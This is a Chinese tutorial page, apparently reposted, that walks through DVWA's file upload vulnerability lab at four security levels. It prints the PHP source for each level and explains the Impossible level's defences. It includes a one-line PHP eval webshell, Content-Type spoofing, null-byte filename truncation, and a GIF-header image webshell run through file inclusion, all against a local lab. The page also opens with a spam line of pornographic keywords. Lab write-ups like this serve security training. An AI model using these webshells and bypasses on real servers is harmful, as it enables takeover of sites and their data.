国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

DVWA靶場(chǎng)-文件上傳漏洞

這篇具有很好參考價(jià)值的文章主要介紹了DVWA靶場(chǎng)-文件上傳漏洞。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問(wèn)。

第五關(guān):File upload(文件上傳)

??????文件上傳漏洞,通常是由于對(duì)上傳文件的類型、內(nèi)容沒(méi)有進(jìn)行嚴(yán)格的過(guò)濾、檢查,使得攻擊者可以通過(guò)上傳木馬獲取服務(wù)器的webshell權(quán)限,因此文件上傳漏洞帶來(lái)的危害常常是毀滅性的,Apache、Tomcat、Nginx等都曝出過(guò)文件上傳漏洞。
DVWA靶場(chǎng)-文件上傳漏洞

Low

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}
?>

basename(str,name)
??????函數(shù)返回路徑中的文件名部分,如果可選參數(shù)name為空,則返回的文件名包含后綴名,反之不包含后綴名。
??????對(duì)源碼分析可以看到,服務(wù)器對(duì)上傳文件的類型、內(nèi)容沒(méi)有做任何的檢查、過(guò)濾,存在明顯的文件上傳漏洞,生成上傳路徑后,服務(wù)器會(huì)檢查是否上傳成功并返回相應(yīng)提示信息。文件上傳沒(méi)有做任何限制,可以上傳任何文件,在上傳一句話木馬,然后通過(guò)蟻劍或者中國(guó)菜刀拿到webshell。
DVWA靶場(chǎng)-文件上傳漏洞

??????上傳成功后,頁(yè)面返回的信息

DVWA靶場(chǎng)-文件上傳漏洞

??????使用蟻劍直接連接,口令為hacker,然后蟻劍就會(huì)通過(guò)向服務(wù)器發(fā)送包含hacker參數(shù)的post請(qǐng)求,在服務(wù)器上執(zhí)行任意命令,獲取webshell權(quán)限,進(jìn)入網(wǎng)站后臺(tái)。可以下載、修改服務(wù)器的所有文件。如下圖
DVWA靶場(chǎng)-文件上傳漏洞
DVWA靶場(chǎng)-文件上傳漏洞

Medium

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

分析代碼發(fā)現(xiàn),程序?qū)ι蟼鞯奈募愋偷拇笮∽隽讼拗?,文件類型必須為image/jpeg和image/png,且文件大小要小于100000b
當(dāng)上傳php文件時(shí),頁(yè)面將提示錯(cuò)誤
DVWA靶場(chǎng)-文件上傳漏洞

使用burp suite抓包修改Content-Type類型
DVWA靶場(chǎng)-文件上傳漏洞
DVWA靶場(chǎng)-文件上傳漏洞

使用00截?cái)嗬@過(guò)
在php<5.3.4中,處理字符串的函數(shù)認(rèn)為0x00是終止符。那么我們可以利用 00截?cái)?的方法來(lái)上傳一句話木馬。網(wǎng)站上傳函數(shù)處理a.php%00.jpg時(shí),首先后綴名是合法的jpg格式,可以上傳,在點(diǎn)擊上傳后,使用burpsuite進(jìn)行抓包攔截,點(diǎn)擊右鍵發(fā)送至repeater模塊,選擇 %00 右鍵進(jìn)行url-decode編碼,之后點(diǎn)擊send發(fā)送,可以看見(jiàn)文件a.php上傳成功。然后就可以用菜刀連接了。(或者將上傳的php文件命名為a.php .jpg[中間有空格],抓包后選擇repeater模塊,之后點(diǎn)擊hex選擇十六進(jìn)制編碼,在該文件名對(duì)應(yīng)的行數(shù),將 20 改為 00,之后選擇send發(fā)送,也可使php文件上傳成功)

DVWA靶場(chǎng)-文件上傳漏洞
DVWA靶場(chǎng)-文件上傳漏洞

DVWA靶場(chǎng)-文件上傳漏洞

High

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
?>

strrpos(string , find ,start): 查找find字符在string字符中的最后一次出現(xiàn)的位置,start參數(shù)可選,表示指定從哪里開(kāi)始
substr(string,start,length): 返回string字符中從start開(kāi)始的字符串,length參數(shù)可選,表示返回字符的長(zhǎng)度
strtolower(string): 返回給定字符串的小寫(xiě)
getimagesize(string): 函數(shù)將測(cè)定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 圖像文件的大小并返回圖像的尺寸以及文件類型和一個(gè)可以用于普通 HTML 文件中 IMG 標(biāo)記中的 height/width 文本字符串。如果不能訪問(wèn) filename 指定的圖像或者其不是有效的圖像,getimagesize() 將返回 FALSE 并產(chǎn)生一條 E_WARNING級(jí)的錯(cuò)誤。所以 getimagesize函數(shù)的作用是判斷上傳的文件是不是有效的圖片
move_uploaded_file(file,newlocal) 函數(shù)表示把給定的文件移動(dòng)到新的位置

因此,上傳文件名為1.jpg,且文件內(nèi)容為<?php @eval($_POST['hacker']);?>,此時(shí)頁(yè)面將報(bào)錯(cuò),顯示上傳失敗,因?yàn)間etimagesize()函數(shù)判斷該文件不是有效的圖片文件,所有需要在文件中加入文件頭。

GIF89
<?php @eval($_POST['hacker']); ?>

在文件1.jpg中加入上面的字符,即顯示上傳文件成功,但是作為圖片文件不能被當(dāng)作php文件執(zhí)行,因此可以利用文件包含漏洞,將上傳的圖片文件作為php文件執(zhí)行。并可以使用中國(guó)菜刀進(jìn)行連接,獲取webshell。連接url為http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=file://D:/phpStudy/WWW/DVWA-1.9/1.jpg

Impossible

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
// Generate Anti-CSRF token
generateSessionToken();
?>

imagecreatefromjpeg(filename): 從給定的文件或url中創(chuàng)建一個(gè)新的圖片

imagejpeg(image,filename,quality): 從image圖像中以 filename 文件名創(chuàng)建一個(gè)jpeg的圖片,參數(shù)quality可選,0-100 (質(zhì)量從小到大)

imagedestroy(image): 銷毀圖像

分析源碼可以看到,代碼中加入了token機(jī)制用于防御CSRF攻擊,并對(duì)文件名進(jìn)行了MD5加密,防止了00截?cái)嗬@過(guò)過(guò)濾規(guī)則,同時(shí)對(duì)文件后綴和文件類型做了白名單設(shè)置,并且還對(duì)文件內(nèi)容作了嚴(yán)格的檢查,不符合圖片的內(nèi)容一律舍棄,導(dǎo)致攻擊者無(wú)法將含有惡意代碼的圖片上傳成功。文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-469165.html

到了這里,關(guān)于DVWA靶場(chǎng)-文件上傳漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來(lái)自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • 文件上傳漏洞-upload靶場(chǎng)1-2關(guān) 通過(guò)筆記(如何區(qū)分前段驗(yàn)證和后端驗(yàn)證)

    文件上傳漏洞-upload靶場(chǎng)1-2關(guān) 通過(guò)筆記(如何區(qū)分前段驗(yàn)證和后端驗(yàn)證)

    upload是一個(gè)文件上傳的專用靶場(chǎng),搭設(shè)也非常簡(jiǎn)單,只需要把相關(guān)源碼文件放到apache的網(wǎng)站目錄下即可使用,或者去github下載一鍵綠化包進(jìn)行安裝鏈接如下: [Releases · c0ny1/upload-labs (github.com)] 下載后按照使用說(shuō)明安裝即可,在安裝該靶場(chǎng)時(shí)最好安裝在虛擬機(jī)中,在此也不做過(guò)

    2024年02月11日
    瀏覽(19)
  • web安全-文件上傳漏洞-圖片馬制作-相關(guān)php函數(shù)講解-upload靶場(chǎng)通關(guān)詳細(xì)教學(xué)(3)

    web安全-文件上傳漏洞-圖片馬制作-相關(guān)php函數(shù)講解-upload靶場(chǎng)通關(guān)詳細(xì)教學(xué)(3)

    制作圖片馬有兩種方法,一種是文本方式打開(kāi),末尾粘貼一句話木馬,令一種是使用命令進(jìn)行合成。 方法1 首先準(zhǔn)備好一個(gè)圖片(這里是1.png)。 將一個(gè)圖片以文本格式打開(kāi)(這里用的Notepad++,以記事本方式打開(kāi)修改也能連接成功,不過(guò)修改后圖片無(wú)法正常顯示了)。 后面粘

    2024年02月06日
    瀏覽(20)
  • DVWA 之 File Upload(文件上傳)

    DVWA 之 File Upload(文件上傳)

    目錄 1、級(jí)別:Low ?2、級(jí)別:Medium 3、級(jí)別:High? ? 什么是文件上傳漏洞? 黑客利用文件上傳后服務(wù)器解析處理文件的漏洞上傳一個(gè)可執(zhí)行的腳本文件,并通過(guò)此腳本文件獲得了執(zhí)行服務(wù)器端命令的能力。 造成文件上傳漏洞的原因 : 1.服務(wù)器配置不當(dāng) 2.開(kāi)源編輯器上傳漏洞

    2024年02月07日
    瀏覽(13)
  • upload-labs文件上傳靶場(chǎng)實(shí)操

    upload-labs文件上傳靶場(chǎng)實(shí)操

    上傳姿勢(shì)總結(jié): 1)改后綴名繞過(guò) 2)Content-Type繞過(guò) 3)本地文件包含 4)遠(yuǎn)程文件包含 5)httpd.conf黑名單繞過(guò) 6)htaccess繞過(guò) 7)大小寫(xiě)繞過(guò) 8)空格繞過(guò) 9)點(diǎn)繞過(guò) 10)特殊符號(hào)::$DATA繞過(guò) 11). .繞過(guò) 12)多寫(xiě)繞過(guò)(多寫(xiě)php) 13)%00截?cái)嗄夸浝@過(guò) 14)16進(jìn)制00截?cái)嗄夸?15)本地文件包含+文件頭繞過(guò) 16)本地

    2024年02月08日
    瀏覽(26)
  • 文件上傳 —— 靶場(chǎng)upload-labs-master

    文件上傳 —— 靶場(chǎng)upload-labs-master

    鏈接:https://pan.baidu.com/s/1I7nwmMdt9XB2AbcYQJ3_eA 提取碼:1234 簡(jiǎn)介:個(gè)人學(xué)習(xí)記錄 目錄 一、前端js驗(yàn)證 二、mime類型繞過(guò) 三、黑名單繞過(guò) 四、.htaccess文件配置文件漏洞,無(wú)過(guò)濾 五、考查 .user.ini文件 六、大小寫(xiě) 七、trim()去空操作 八、winous特性,以.結(jié)尾無(wú)效 九、::$data 十、一次過(guò)

    2024年02月05日
    瀏覽(25)
  • DVWA之文件上傳漏洞

    DVWA之文件上傳漏洞

    指由于程序員在對(duì)用戶文件上傳部分的控制不足或者處理缺陷,而導(dǎo)致的用戶可以越過(guò)其本身權(quán)限向服務(wù)器上上傳可執(zhí)行的動(dòng)態(tài)腳本文件。這里上傳的文件可以是木馬,病毒,惡意腳本或者WebShell等。 “文件上傳”本身沒(méi)有問(wèn)題,有問(wèn)題的是文件上傳后,服務(wù)器怎么處理、解

    2024年02月12日
    瀏覽(14)
  • 上傳漏洞(一句話木馬、中國(guó)菜刀使用、DVWA文件上傳漏洞利用)

    上傳漏洞(一句話木馬、中國(guó)菜刀使用、DVWA文件上傳漏洞利用)

    ? ?可抓包后修改擴(kuò)展名為圖片格式,再上傳可繞過(guò)驗(yàn)證。如: ? 可以修改php文件后綴為其他,再上傳。如test.php.xxx ?可對(duì)圖片文件添加一句話木馬,再修改為.php上傳,會(huì)解析為圖片上傳此文件。 ? ?客戶端驗(yàn)證繞過(guò)的方法有: ?例: ? 1)木馬分為大馬、小馬和一句話木馬:

    2024年02月11日
    瀏覽(18)
  • 【網(wǎng)絡(luò)安全 --- 任意文件上傳漏洞靶場(chǎng)闖關(guān) 6-15關(guān)】任意文件上傳漏洞靶場(chǎng)闖關(guān),讓你更深入了解文件上傳漏洞以及繞過(guò)方式方法,思路技巧

    【網(wǎng)絡(luò)安全 --- 任意文件上傳漏洞靶場(chǎng)闖關(guān) 6-15關(guān)】任意文件上傳漏洞靶場(chǎng)闖關(guān),讓你更深入了解文件上傳漏洞以及繞過(guò)方式方法,思路技巧

    ? 首先分享一個(gè)自己做的很不錯(cuò)的網(wǎng)路安全筆記,內(nèi)容詳細(xì)介紹了許多知識(shí) 超詳細(xì)的網(wǎng)絡(luò)安全筆記 分享一個(gè)非常詳細(xì)的網(wǎng)絡(luò)安全筆記,是我學(xué)習(xí)網(wǎng)安過(guò)程中用心寫(xiě)的,可以點(diǎn)開(kāi)以下鏈接獲?。?超詳細(xì)的網(wǎng)絡(luò)安全筆記?編輯https://m.tb.cn/h.5JdFcih?tk=OuVrWRl9vMx%20CZ3457 https://m.tb.cn/

    2024年02月07日
    瀏覽(29)
  • 【文件上傳漏洞-04】文件上傳路徑截?cái)喟袌?chǎng)實(shí)戰(zhàn)

    【文件上傳漏洞-04】文件上傳路徑截?cái)喟袌?chǎng)實(shí)戰(zhàn)

    在ASCII碼中,00代表的是空(Null)字符,在URL中表現(xiàn)為%00。在文件截?cái)喙糁?,就是采用空字符?lái)誤導(dǎo)服務(wù)器截?cái)嘧址赃_(dá)到繞過(guò)攻擊的目的。00截?cái)鄷?huì)導(dǎo)致文件上傳路徑截?cái)?原理: 服務(wù)器后臺(tái)采用的是move_uploaded_file()函數(shù)將上傳的文件移動(dòng)到新位置也就是文件另存,函數(shù)在

    2024年02月12日
    瀏覽(21)
  • 文件上傳漏洞 (upload部分通關(guān)教程)

    文件上傳漏洞 (upload部分通關(guān)教程)

    只適合只有前端驗(yàn)證的網(wǎng)站 一句話木馬: 保存到文件中: 使用第一關(guān)直接上傳,報(bào)錯(cuò): 按照網(wǎng)站要求,修改文件后綴名為jpg: 重新上傳111.jpg文件,打開(kāi)burp抓包,修改包中的后綴名 點(diǎn)擊Forword上傳,上傳成功: 使用蟻劍連接后臺(tái)步驟: 復(fù)制url: 連接成功: 原理就是驗(yàn)證后

    2024年02月22日
    瀏覽(21)

覺(jué)得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包